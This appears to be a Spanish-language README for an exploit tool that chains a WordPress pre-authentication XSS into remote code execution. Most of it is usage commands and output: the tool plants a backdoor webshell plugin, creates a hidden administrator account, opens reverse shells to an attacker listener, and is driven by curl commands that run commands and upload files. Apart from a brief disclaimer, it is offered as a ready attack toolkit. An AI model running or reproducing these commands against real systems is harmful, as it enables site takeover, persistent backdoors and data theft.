
Explota la XSS previa a la autenticación de WordPress (CVE-2026-64638) para lograr la ejecución remota de código, instalando un webshell de puerta trasera cifrado con AES con persistencia, subida de archivos, shell inversa y opciones de sigilo para ejercicios de red team autorizados.
Cadena de explotación XSS sin autenticación previa → RCE en WordPress
Desarrollado por G0D150NE
# Clonar
git clone https://github.com/g0d150ne/XSS2Shell.git
cd XSS2Shell
# Instalar dependencias
pip3 install requests beautifulsoup4 cryptography
# Ejecutar
python3 poc.py -h
# Abrir terminal para reverse shell
nc -lvnp 4444
Modo automático (recomendado)
python3 poc.py http://target.com -u admin -p pass123 --lhost 192.168.1.100
Modo XSS (sin credenciales)
python3 poc.py http://target.com --mode xss --lhost 192.168.1.100
Modo directo (con credenciales)
python3 poc.py http://target.com -u admin -p pass123 --mode direct --lhost 192.168.1.100
Una vez instalada la webshell:
# Codificado en Base64 (recomendado)
curl 'http://target.com/wp-content/plugins/g0d150ne/g0d150ne.php?b2h='$(echo -n 'id' | base64)
# Comando directo
curl 'http://target.com/wp-content/plugins/g0d150ne/g0d150ne.php?cmd=whoami'
# Subir archivo
curl -F '[email protected]' http://target.com/wp-content/plugins/g0d150ne/g0d150ne.php
# Reverse shell
curl 'http://target.com/wp-content/plugins/g0d150ne/g0d150ne.php?rev=1'
# 1. Escaneo automático + explotación
python3 poc.py http://wordpress-site.com -u admin -p pass123 --lhost 10.0.0.5
# 2. Cadena XSS sin credenciales
python3 poc.py http://wordpress-site.com --mode xss --lhost 10.0.0.5
# 3. Puerto y nombre de plugin personalizados
python3 poc.py http://wordpress-site.com -u admin -p pass123 --lhost 10.0.0.5 --lport 1337 --slug backdoor
# 4. Cambiar la contraseña de la puerta trasera
python3 poc.py http://wordpress-site.com -u admin -p pass123 --lhost 10.0.0.5 --backdoor-pass MySecretPass
# 5. Puerto de callback personalizado
python3 poc.py http://wordpress-site.com --mode xss --lhost 10.0.0.5 --callback-port 9999
Después de una explotación exitosa:
Administrador oculto creado:
sysadmin_{slug}{backdoor-pass} (por defecto: G0D150NE)╔══════════════════════════════════════════════════════════════════╗
║ Target : http://wordpress-site.com
║ Attacker : 192.168.1.100:4444
║ Plugin : g0d150ne
║ Mode : AUTO
╚══════════════════════════════════════════════════════════════════╝
[•] Detecting WordPress version...
[+] WordPress version: 6.7.0
[•] Testing XSS vulnerability...
[+] XSS vulnerable! Vector: <area id=ajaxurl...
[+] Login successful as admin
[+] Plugin uploaded successfully
[+] Webshell ready: http://target.com/wp-content/plugins/g0d150ne/g0d150ne.php
[+] Test: uid=33(www-data)
╔══════════════════════════════════════════════════════════════════╗
║ [+] EXPLOIT SUCCESSFUL ║
╠══════════════════════════════════════════════════════════════════╣
║ WEBSHELL: ║
║ http://target.com/wp-content/plugins/g0d150ne/g0d150ne.php ║
║ ADMIN USER CREATED: ║
║ Username: sysadmin_g0d150ne ║
║ Password: G0D150NE ║
╚══════════════════════════════════════════════════════════════════╝
Solo para fines educativos y pruebas autorizadas.
Úsalo únicamente en sistemas que poseas o para los que tengas permiso explícito de prueba.
El autor no se hace responsable del mal uso o de cualquier daño causado.
| Opción | Descripción | Por defecto |
|---|
target | URL de WordPress objetivo | Requerido |
-u, --username | Usuario administrador de WordPress | - |
-p, --wp-pass | Contraseña del administrador de WordPress | - |
--lhost | Dirección IP del listener | 127.0.0.1 |
--lport | Puerto del listener | 4444 |
--mode | Modo de explotación (auto/xss/direct) | auto |
--slug | Nombre del slug del plugin | g0d150ne |
--callback-port | Puerto del servidor de callback | 9090 |
--backdoor-pass | Contraseña de la puerta trasera | G0D150NE |
| Característica | Comando |
|---|
| Ejecutar comando | ?b2h=BASE64_CMD |
| Subir archivo | -F '[email protected]' |
| Reverse shell | ?rev=1 |
| Comando directo | ?cmd=id |
| Puerta trasera cifrada | ?decrypt=AES_DATA |
| Problema | Solución |
|---|
ModuleNotFoundError | pip3 install requests beautifulsoup4 cryptography |
Conexión rechazada | Comprueba el listener: nc -lvnp 4444 |
Error de inicio de sesión | Verifica las credenciales o usa el modo XSS |
Error al subir el plugin | Comprueba los permisos, usa un slug diferente |
Conflicto de argumentos | Usa -p para wp-pass y --backdoor-pass para la puerta trasera |